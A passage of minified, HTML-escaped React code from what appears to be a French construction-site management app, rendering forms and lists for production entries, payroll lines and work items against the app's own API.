production&quot;,subtitle:x==null?void 0:x.name}),n.jsxs(&quot;form&quot;,{onSubmit:pe=&gt;void pl(pe),className:&quot;space-y-4&quot;,children:[Y?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:Y}):null,n.jsxs(&quot;div&quot;,{children:[n.jsxs(&quot;div&quot;,{className:&quot;mb-1 flex flex-wrap items-center justify-between gap-2&quot;,children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-work-item&quot;,children:&quot;Ouvrage&quot;}),v(&quot;work_items.manage&quot;)&amp;&amp;b!==null?n.jsx(be,{to:`/projects/${b}/work-items/new`,className:&quot;text-xs font-medium text-amber-500 hover:text-amber-400&quot;,children:&quot;+ Créer un ouvrage&quot;}):null]}),n.jsxs(&quot;select&quot;,{id:&quot;pe-work-item&quot;,required:!0,value:G,onChange:pe=&gt;O(pe.target.value),className:oe,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),X.map(pe=&gt;n.jsx(&quot;option&quot;,{value:pe.id,children:pe.name},pe.id))]}),ae.work_item_id?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.work_item_id}):null,X.length===0&amp;&amp;v(&quot;work_items.manage&quot;)&amp;&amp;b!==null?n.jsx(&quot;p&quot;,{className:&quot;mt-2 text-xs text-stone-500&quot;,children:&quot;Aucun ouvrage sur ce chantier — utilisez « Créer un ouvrage » ci-dessus.&quot;}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-worker&quot;,children:&quot;Ouvrier (optionnel si équipe)&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;pe-worker&quot;,value:H,onChange:pe=&gt;M(pe.target.value),className:oe,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),de.map(pe=&gt;n.jsx(&quot;option&quot;,{value:pe.id,children:pe.display_name},pe.id))]}),ae.worker_id?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.worker_id}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-team&quot;,children:&quot;Équipe (optionnel)&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;pe-team&quot;,value:k,onChange:pe=&gt;F(pe.target.value),className:oe,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),Ne.map(pe=&gt;n.jsx(&quot;option&quot;,{value:pe.id,children:pe.name},pe.id))]}),ae.team_id?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.team_id}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-date&quot;,children:&quot;Date&quot;}),n.jsx(&quot;input&quot;,{id:&quot;pe-date&quot;,type:&quot;date&quot;,required:!0,value:K,onChange:pe=&gt;ee(pe.target.value),className:oe}),ae.date?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.date}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-qty&quot;,children:&quot;Quantité&quot;}),n.jsx(&quot;input&quot;,{id:&quot;pe-qty&quot;,type:&quot;text&quot;,inputMode:&quot;decimal&quot;,required:!0,value:I,onChange:pe=&gt;J(pe.target.value),className:`${oe} text-lg`,placeholder:&quot;ex. 12,5&quot;}),ae.quantity?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.quantity}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-unit&quot;,children:&quot;Unité&quot;}),n.jsx(&quot;input&quot;,{id:&quot;pe-unit&quot;,type:&quot;text&quot;,required:!0,value:B,onChange:pe=&gt;R(pe.target.value),className:oe,placeholder:&quot;m2, u, tâche…&quot;}),ae.unit?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.unit}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-rate&quot;,children:&quot;Taux unitaire (optionnel)&quot;}),n.jsx(&quot;input&quot;,{id:&quot;pe-rate&quot;,type:&quot;text&quot;,inputMode:&quot;decimal&quot;,value:Q,onChange:pe=&gt;W(pe.target.value),className:`${oe} text-lg`}),ae.unit_rate?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.unit_rate}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-status&quot;,children:&quot;Statut&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;pe-status&quot;,value:P,onChange:pe=&gt;D(pe.target.value),className:oe,children:[n.jsx(&quot;option&quot;,{value:&quot;draft&quot;,children:&quot;Brouillon&quot;}),n.jsx(&quot;option&quot;,{value:&quot;submitted&quot;,children:&quot;Soumis (validation chantier)&quot;})]}),ae.status?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:ae.status}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;pe-comment&quot;,children:&quot;Commentaire&quot;}),n.jsx(&quot;textarea&quot;,{id:&quot;pe-comment&quot;,value:te,onChange:pe=&gt;$(pe.target.value),rows:3,className:oe})]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:me,className:ht,children:me?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Production&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Lecture seule — pas de saisie (production_entries.manage).&quot;})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Production&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}const oh=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;draft&quot;,label:&quot;Brouillon&quot;},{value:&quot;ready_for_validation&quot;,label:&quot;Prêt validation&quot;},{value:&quot;validated&quot;,label:&quot;Validé financier&quot;},{value:&quot;paid&quot;,label:&quot;Payé&quot;},{value:&quot;cancelled&quot;,label:&quot;Annulé&quot;}],dh=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;daily&quot;,label:&quot;Au jour&quot;},{value:&quot;hourly&quot;,label:&quot;À l&#039;heure&quot;},{value:&quot;per_completed_work&quot;,label:&quot;Au rendu&quot;}];function xy(u){var c;return((c=oh.find(d=&gt;d.value===u))==null?void 0:c.label)??u}function vy(u){var c;return((c=dh.find(d=&gt;d.value===u))==null?void 0:c.label)??u}function yy(){const{token:u,can:c}=Oe(),{activeProjectId:d,activeProject:r}=ot(),f=d,p=c(&quot;payroll.manage&quot;),[y,v]=m.useState([]),[g,x]=m.useState([]),[N,b]=m.useState(null),[T,G]=m.useState(!0),[O,H]=m.useState(!1),[M,k]=m.useState(&quot;&quot;),[F,K]=m.useState(&quot;&quot;),[ee,I]=m.useState(&quot;&quot;),[J,B]=m.useState(&quot;&quot;),[R,Q]=m.useState(&quot;&quot;),[W,P]=m.useState(&quot;&quot;),[D,te]=m.useState(&quot;&quot;),[$,ae]=m.useState(null),[w,Y]=m.useState(null),ie=m.useMemo(()=&gt;{if(r)return`${r.name}${r.code?` (${r.code})`:&quot;&quot;}`},[r]),me=m.useCallback(async()=&gt;{if(!u||!f||!c(&quot;payroll.view&quot;)){G(!1);return}G(!0),b(null);const j=new URLSearchParams;j.set(&quot;per_page&quot;,&quot;100&quot;),j.set(&quot;sort&quot;,&quot;-period_start&quot;),M&amp;&amp;j.set(&quot;period_from&quot;,M),F&amp;&amp;j.set(&quot;period_to&quot;,F),ee&amp;&amp;j.set(&quot;worker_id&quot;,ee),J&amp;&amp;j.set(&quot;status&quot;,J),R&amp;&amp;j.set(&quot;payment_mode&quot;,R);try{const q=await le(`/api/v1/projects/${f}/payroll-entries?${j.toString()}`,{method:&quot;GET&quot;,token:u});v(q.data)}catch(q){b(q instanceof xe?q.message:&quot;Erreur de chargement&quot;),v([])}finally{G(!1)}},[u,f,c,M,F,ee,J,R]);m.useEffect(()=&gt;{me()},[me]),m.useEffect(()=&gt;{if(!u||!c(&quot;payroll.view&quot;))return;let j=!1;return(async()=&gt;{try{const q=await le(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u});j||x(q.data)}catch{j||x([])}})(),()=&gt;{j=!0}},[u,c]);async function ze(){if(!(!u||!f||!W||!D)){H(!0),b(null),ae(null),Y(null);try{const j=await le(`/api/v1/projects/${f}/payroll-entries/generate`,{method:&quot;POST&quot;,token:u,body:JSON.stringify({period_start:W,period_end:D})});ae([`Créées : ${j.created.length}`,`Ignorées (existantes) : ${j.skipped_existing.length}`,`Ignorées (règles) : ${j.skipped_workers.length}`].join(&quot; | &quot;));const q=[...j.warnings??[],...(j.skipped_workers??[]).map(X=&gt;`Ouvrier #${X.worker_id} : ${X.reason}`)];Y(q.length&gt;0?q:null),await me()}catch(j){b(j instanceof xe?j.message:&quot;Génération impossible&quot;)}finally{H(!1)}}}return c(&quot;payroll.view&quot;)?f===null?n.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[n.jsx(ne,{title:&quot;Paie&quot;}),n.jsxs(&quot;p&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 px-4 py-6 text-center text-sm text-stone-400&quot;,children:[&quot;Sélectionnez un &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-200&quot;,children:&quot;chantier actif&quot;}),&quot; pour consulter la paie.&quot;]}),n.jsx(be,{to:&quot;/projects&quot;,className:ft,children:&quot;Liste des chantiers&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{title:&quot;Paie&quot;,subtitle:ie}),n.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[&quot;Module financier distinct de la validation chantier : calcul depuis&quot;,&quot; &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;Présences&quot;}),&quot; (daily/hourly) et&quot;,&quot; &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;Production validée&quot;}),&quot; (per_completed_work).&quot;]}),p?n.jsxs(&quot;section&quot;,{className:&quot;space-y-2 rounded-xl border border-amber-900/40 bg-amber-950/20 p-3&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-xs font-semibold text-amber-400&quot;,children:&quot;Générer la paie (financier)&quot;}),n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:W,onChange:j=&gt;P(j.target.value),className:&quot;rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:D,onChange:j=&gt;te(j.target.value),className:&quot;rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:O||!W||!D,onClick:()=&gt;void ze(),className:ht,children:O?&quot;Génération…&quot;:&quot;Générer les lignes&quot;}),$?n.jsx(&quot;p&quot;,{className:&quot;text-xs text-amber-200&quot;,children:$}):null,w?n.jsx(&quot;ul&quot;,{className:&quot;list-inside list-disc space-y-1 text-xs text-amber-100/90&quot;,children:w.map((j,q)=&gt;n.jsx(&quot;li&quot;,{children:j},q))}):null]}):n.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule pour ce rôle.&quot;}),n.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Filtres&quot;}),n.jsxs(&quot;div&quot;,{className:&quot;grid gap-3&quot;,children:[n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:M,onChange:j=&gt;k(j.target.value),className:&quot;rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;}),n.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:F,onChange:j=&gt;K(j.target.value),className:&quot;rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),n.jsxs(&quot;select&quot;,{value:ee,onChange:j=&gt;I(j.target.value),className:&quot;rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous les ouvriers&quot;}),g.map(j=&gt;n.jsx(&quot;option&quot;,{value:j.id,children:j.display_name},j.id))]}),n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[n.jsx(&quot;select&quot;,{value:J,onChange:j=&gt;B(j.target.value),className:&quot;rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:oh.map(j=&gt;n.jsx(&quot;option&quot;,{value:j.value,children:j.label},j.value))}),n.jsx(&quot;select&quot;,{value:R,onChange:j=&gt;Q(j.target.value),className:&quot;rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:dh.map(j=&gt;n.jsx(&quot;option&quot;,{value:j.value,children:j.label},j.value))})]})]})]}),N?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:N}):null,T?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:y.map(j=&gt;{var q;return n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/payroll-entries/${j.id}`,className:ft,children:[n.jsxs(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:[((q=j.worker)==null?void 0:q.display_name)??`Ouvrier #${j.worker_id}`,&quot; | &quot;,j.period_start,&quot; &quot;,&quot;-&gt;&quot;,&quot; &quot;,j.period_end]}),n.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[vy(j.payment_mode),&quot; | &quot;,xy(j.status),&quot; | brut &quot;,j.gross_amount,&quot; | final &quot;,j.final_amount]})]})},j.id)})}),!T&amp;&amp;y.length===0?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucune ligne de paie.&quot;}):null]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Paie&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (payroll.view).&quot;})]})}function gy(u){return{draft:&quot;Brouillon&quot;,ready_for_validation:&quot;Prêt pour validation&quot;,validated:&quot;Validé financier&quot;,paid:&quot;Payé&quot;,cancelled:&quot;Annulé&quot;}[u]??u}function by(u){return{daily:&quot;Au jour&quot;,hourly:&quot;À l&#039;heure&quot;,per_completed_work:&quot;Au rendu&quot;}[u]??u}function jy(){var J,B;const{payrollEntryId:u}=at(),c=Number(u),{token:d,can:r}=Oe(),[f,p]=m.useState(null),[y,v]=m.useState(null),[g,x]=m.useState(!0),[N,b]=m.useState(!1),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState(&quot;&quot;),M=r(&quot;payroll.manage&quot;);m.useEffect(()=&gt;{if(!d||!Number.isFinite(c)||!r(&quot;payroll.view&quot;)){x(!1);return}let R=!1;return(async()=&gt;{try{const Q=await le(`/api/v1/payroll-entries/${c}`,{method:&quot;GET&quot;,token:d});R||(p(Q.data),G(Q.data.adjustment_amount??&quot;&quot;),H(Q.data.adjustment_reason??&quot;&quot;))}catch(Q){R||v(Q instanceof xe?Q.message:&quot;Erreur&quot;)}finally{R||x(!1)}})(),()=&gt;{R=!0}},[d,c,r]);const k=M&amp;&amp;f&amp;&amp;(f.status===&quot;draft&quot;||f.status===&quot;ready_for_validation&quot;),F=m.useMemo(()=&gt;{if(!(f!=null&amp;&amp;f.calculation_detail))return&quot;Aucun détail.&quot;;const R=f.calculation_detail,Q=typeof R.source==&quot;string&quot;?R.source:&quot;&quot;;if(Q===&quot;attendance&quot;){const W=typeof R.total_hours==&quot;string&quot;?R.total_hours:null,P=typeof R.equivalent_days==&quot;string&quot;?R.equivalent_days:null;return f.payment_mode===&quot;hourly&quot;&amp;&amp;W?`Présences non absentes, total heures = ${W}.`:f.payment_mode===&quot;daily&quot;&amp;&amp;P?`Présences agrégées en équivalent jours = ${P}.`:&quot;Base issue des présences (Attendance).&quot;}if(Q===&quot;production_entry&quot;){const W=typeof R.production_entries_count==&quot;number&quot;?R.production_entries_count:null;return`Base issue des productions validées (ProductionEntry)${W!==null?`, lignes : ${W}`:&quot;&quot;}.`}return&quot;Base de calcul disponible dans le détail technique.&quot;},[f]);async function K(){if(!d||!f)return;const R=await le(`/api/v1/payroll-entries/${f.id}`,{method:&quot;GET&quot;,token:d});p(R.data),G(R.data.adjustment_amount??&quot;&quot;),H(R.data.adjustment_reason??&quot;&quot;)}async function ee(){if(!(!d||!f||!k)){b(!0),v(null);try{await le(`/api/v1/payroll-entries/${f.id}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify({adjustment_amount:T===&quot;&quot;?null:Number(T),adjustment_reason:O===&quot;&quot;?null:O})}),await K()}catch(R){v(R instanceof xe?R.message:&quot;Mise à jour impossible&quot;)}finally{b(!1)}}}async function I(R){if(!(!d||!f)){b(!0),v(null);try{await le(`/api/v1/payroll-entries/${f.id}/${R}`,{method:&quot;POST&quot;,token:d,body:JSON.stringify(R===&quot;cancel&quot;?{reason:&quot;Annulation manuelle&quot;}:{})}),await K()}catch(Q){v(Q instanceof xe?Q.message:&quot;Action impossible&quot;)}finally{b(!1)}}}return r(&quot;payroll.view&quot;)?Number.isFinite(c)?g?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):y&amp;&amp;!f?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/payroll-entries&quot;,title:&quot;Paie&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y})]}):f?n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/payroll-entries&quot;,title:&quot;Ligne de paie&quot;,subtitle:((J=f.worker)==null?void 0:J.display_name)??`Ouvrier #${f.worker_id}`}),y?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y}):null,n.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/40 p-4 text-sm&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Période&quot;}),n.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[f.period_start,&quot; &quot;,&quot;-&gt;&quot;,&quot; &quot;,f.period_end]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Mode&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:by(f.payment_mode)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Base de calcul&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:f.calculation_base}),n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:F})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Montants&quot;}),n.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[&quot;Brut &quot;,f.gross_amount,&quot; | Ajustement &quot;,f.adjustment_amount??&quot;0.00&quot;,&quot; | Final &quot;,f.final_amount]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:gy(f.status)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Préparé par&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:((B=f.prepared_by)==null?void 0:B.full_name)??`#${f.prepared_by_user_id}`})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Validé par&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:f.validated_by?f.validated_by.full_name:&quot;—&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Payé le&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:f.paid_at??&quot;—&quot;})]})]}),M?n.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Actions financières&quot;}),k?n.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;adj-amount&quot;,children:&quot;Ajustement&quot;}),n.jsx(&quot;input&quot;,{id:&quot;adj-amount&quot;,type:&quot;text&quot;,inputMode:&quot;decimal&quot;,value:T,onChange:R=&gt;G(R.target.value),className:oe}),n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;adj-reason&quot;,children:&quot;Raison ajustement&quot;}),n.jsx(&quot;textarea&quot;,{id:&quot;adj-reason&quot;,value:O,onChange:R=&gt;H(R.target.value),className:oe,rows:2}),n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:N,onClick:()=&gt;void ee(),className:Xt,children:&quot;Mettre à jour&quot;})]}):null,n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[f.status===&quot;draft&quot;?n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:N,onClick:()=&gt;void I(&quot;ready&quot;),className:Xt,children:&quot;Passer prêt&quot;}):null,f.status===&quot;ready_for_validation&quot;?n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:N,onClick:()=&gt;void I(&quot;validate&quot;),className:Xt,children:&quot;Valider&quot;}):null,f.status===&quot;validated&quot;?n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:N,onClick:()=&gt;void I(&quot;mark-paid&quot;),className:Xt,children:&quot;Marquer payé&quot;}):null,f.status!==&quot;cancelled&quot;&amp;&amp;f.status!==&quot;paid&quot;?n.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:N,onClick:()=&gt;void I(&quot;cancel&quot;),className:Xt,children:&quot;Annuler&quot;}):null]})]}):n.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule pour ce rôle.&quot;}),n.jsx(be,{to:&quot;/payroll-entries&quot;,className:ht,children:&quot;Retour liste paie&quot;})]}):null:n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Paie&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}const Sy=[{value:&quot;not_started&quot;,label:&quot;Pas démarré&quot;},{value:&quot;in_progress&quot;,label:&quot;En cours&quot;},{value:&quot;completed&quot;,label:&quot;Terminé&quot;},{value:&quot;validated&quot;,label:&quot;Validé&quot;},{value:&quot;suspended&quot;,label:&quot;Suspendu&quot;}];function km(){const{projectId:u,workItemId:c}=at(),d=Number(u),r=c?Number(c):null,f=Number.isFinite(r),p=Wt(),{token:y,can:v}=Oe(),{setActiveProjectId:g}=ot(),[x,N]=m.useState(&quot;&quot;),[b,T]=m.useState(&quot;&quot;),[G,O]=m.useState(&quot;&quot;),[H,M]=m.useState(&quot;not_started&quot;),[k,F]=m.useState(&quot;&quot;),[K,ee]=m.useState(&quot;&quot;),[I,J]=m.useState({}),[B,R]=m.useState(null),[Q,W]=m.useState(!1),[P,D]=m.useState(!!f);m.useEffect(()=&gt;{Number.isFinite(d)&amp;&amp;g(d)},[d,g]),m.useEffect(()=&gt;{if(!f||!y||!Number.isFinite(r)){D(!1);return}let $=!1;return(async()=&gt;{try{const ae=await le(`/api/v1/work-items/${r}`,{method:&quot;GET&quot;,token:y});if(!$){const w=ae.data;w.project_id!==d?R(&quot;Ouvrage non rattaché au chantier actif.&quot;):(N(w.name),T(w.category),O(w.description??&quot;&quot;),M(w.status),F(w.start_date??&quot;&quot;),ee(w.expected_end_date??&quot;&quot;))}}catch(ae){$||R(ae instanceof xe?ae.message:&quot;Chargement impossible&quot;)}finally{$||D(!1)}})(),()=&gt;{$=!0}},[f,r,y,d]);async function te($){if($.preventDefault(),!y||!Number.isFinite(d))return;R(null),J({}),W(!0);const ae={name:x.trim(),category:b.trim(),description:G.trim()===&quot;&quot;?null:G.trim(),status:H,start_date:k===&quot;&quot;?null:k,expected_end_date:K===&quot;&quot;?null:K};try{if(f&amp;&amp;Number.isFinite(r))await le(`/api/v1/work-items/${r}`,{method:&quot;PATCH&quot;,token:y,body:JSON.stringify(ae)}),p(&quot;/production-entries&quot;);else{const w=await le(`/api/v1/projects/${d}/work-items`,{method:&quot;POST&quot;,token:y,body:JSON.stringify(ae)});p(&quot;/production-entries/new&quot;,{state:{workItemId:w.data.id}})}}catch(w){if(w instanceof xe){R(w.message);const Y=mr(w.body);Y&amp;&amp;J(Y)}else R(&quot;Enregistrement impossible&quot;)}finally{W(!1)}}return v(&quot;work_items.view&quot;)?v(&quot;work_items.manage&quot;)?Number.isFinite(d)?P?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/production-entries&quot;,title:f?&quot;Modifier ouvrage&quot;:&quot;Nouvel ouvrage&quot;,subtitle:`Chantier #${d} — utilisé pour la production au rendu`}),n.jsxs(&quot;p&quot;,{className:&quot;mb-4 text-xs text-stone-500&quot;,children:[&quot;Créez un poste / lot de suivi rattaché à ce chantier. Il apparaîtra dans les listes déroulantes des&quot;,&quot; &quot;,n.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;lignes de production&quot;}),&quot;.&quot;]}),n.jsxs(&quot;form&quot;,{onSubmit:$=&gt;void te($),className:&quot;space-y-4&quot;,children:[B?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:B}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;wi-name&quot;,children:&quot;Nom de l’ouvrage&quot;}),n.jsx(&quot;input&quot;,{id:&quot;wi-name&quot;,type:&quot;text&quot;,required:!0,value:x,onChange:$=&gt;N($.target.value),className:`${oe} text-base`,placeholder:&quot;ex. Dalle béton zone A&quot;,autoComplete:&quot;off&quot;}),I.name?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:I.name}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;wi-category&quot;,children:&quot;Catégorie / lot&quot;}),n.jsx(&quot;input&quot;,{id:&quot;wi-category&quot;,type:&quot;text&quot;,required:!0,value:b,onChange:$=&gt;T($.target.value),className:oe,placeholder:&quot;ex. Gros œuvre, Second œuvre…&quot;}),I.category?n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:I.category}):null]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;wi-desc&quot;,children:&quot;Description (optionnel)&quot;}),n.jsx(&quot;textarea&quot;,{id:&quot;wi-desc&quot;,value:G,onChange:$=&gt;O($.target.value),rows:3,className:oe})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;wi-status&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;select&quot;,{id:&quot;wi-status&quot;,value:H,onChange:$=&gt;M($.target.value),className:oe,children:Sy.map($=&gt;n.jsx(&quot;option&quot;,{value:$.value,children:$.label},$.value))})]}),n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 gap-3 sm:grid-cols-2&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{className:re,htmlFor:&quot;wi-start&quot;,children:&quot;Date de début 